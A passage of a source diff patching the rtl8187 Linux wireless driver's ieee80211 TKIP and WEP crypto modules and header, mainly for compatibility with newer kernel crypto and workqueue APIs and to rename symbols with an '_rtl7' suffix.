IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +673,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,10 +682,16 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; +#else + if (michael_mic_rtl7(tkey->rx_tfm_michael, &tkey->key[24], tkey->rx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) + return -1; +#endif if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { struct ieee80211_hdr *hdr; hdr = (struct ieee80211_hdr *) skb->data; @@ -572,7 +700,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,18 +716,33 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = tkey->tfm_michael; struct crypto_tfm *tfm2 = tkey->tfm_arc4; +#else + struct crypto_hash *tfm = tkey->tx_tfm_michael; + struct crypto_blkcipher *tfm2 = tkey->tx_tfm_arc4; + struct crypto_hash *tfm3 = tkey->rx_tfm_michael; + struct crypto_blkcipher *tfm4 = tkey->rx_tfm_arc4; +#endif keyidx = tkey->key_idx; memset(tkey, 0, sizeof(*tkey)); tkey->key_idx = keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) tkey->tfm_michael = tfm; tkey->tfm_arc4 = tfm2; +#else + tkey->tx_tfm_michael = tfm; + tkey->tx_tfm_arc4 = tfm2; + tkey->rx_tfm_michael = tfm3; + tkey->rx_tfm_arc4 = tfm4; +#endif + if (len == TKIP_KEY_LEN) { memcpy(tkey->key, key, TKIP_KEY_LEN); tkey->key_set = 1; @@ -618,7 +761,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +791,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +818,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c --- rtl8187_orig/ieee80211/ieee80211_crypt_wep.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c 2007-07-13 01:46:05.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -36,11 +46,16 @@ u8 key[WEP_KEY_LEN + 1]; u8 key_len; u8 key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm; +#else + struct crypto_blkcipher *rx_tfm; + struct crypto_blkcipher *tx_tfm; +#endif }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -50,13 +65,30 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = keyidx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm = crypto_alloc_tfm("arc4", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " "crypto API arc4\n"); goto fail; } +#else + priv->tx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm = NULL; + goto fail; + } + priv->rx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm = NULL; + goto fail; + } +#endif /* start WEP IV from a random value */ get_random_bytes(&priv->iv, 4); @@ -64,19 +96,35 @@ fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm) crypto_free_tfm(priv->tfm); +#else + if (priv->tx_tfm) + crypto_free_blkcipher(priv->tx_tfm); + if (priv->rx_tfm) + crypto_free_blkcipher(priv->rx_tfm); +#endif kfree(priv); } return NULL; } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm) crypto_free_tfm(_priv->tfm); +#else + if (_priv) { + if (_priv->tx_tfm) + crypto_free_blkcipher(_priv->tx_tfm); + if (_priv->rx_tfm) + crypto_free_blkcipher(_priv->rx_tfm); + } +#endif kfree(priv); } @@ -87,13 +135,16 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; u8 key[WEP_KEY_LEN + 3]; u8 *pos, *icv; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->tx_tfm }; +#endif if (skb_headroom(skb) < 4 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -134,13 +185,21 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->tx_tfm, key, klen); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; - crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); return 0; +#else + return crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif } @@ -151,13 +210,16 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; u8 key[WEP_KEY_LEN + 3]; u8 keyidx, *pos, icv[4]; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->rx_tfm }; +#endif if (skb->len < hdr_len + 8) return -1; @@ -178,11 +240,22 @@ /* Apply RC4 to data and compute CRC32 over decrypted data */ plen = skb->len - hdr_len - 8; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->rx_tfm, key, klen); +#endif + sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(wep->tfm, &sg, &sg, plen + 4); +#else + if(crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4)) + return -7; +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -203,7 +276,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +290,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +303,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +312,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211.h rtl8187_rawtx/ieee80211/ieee80211.h --- rtl8187_orig/ieee80211/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211.h 2007-07-13 01:46:10.000000000 +0200 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,18 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device 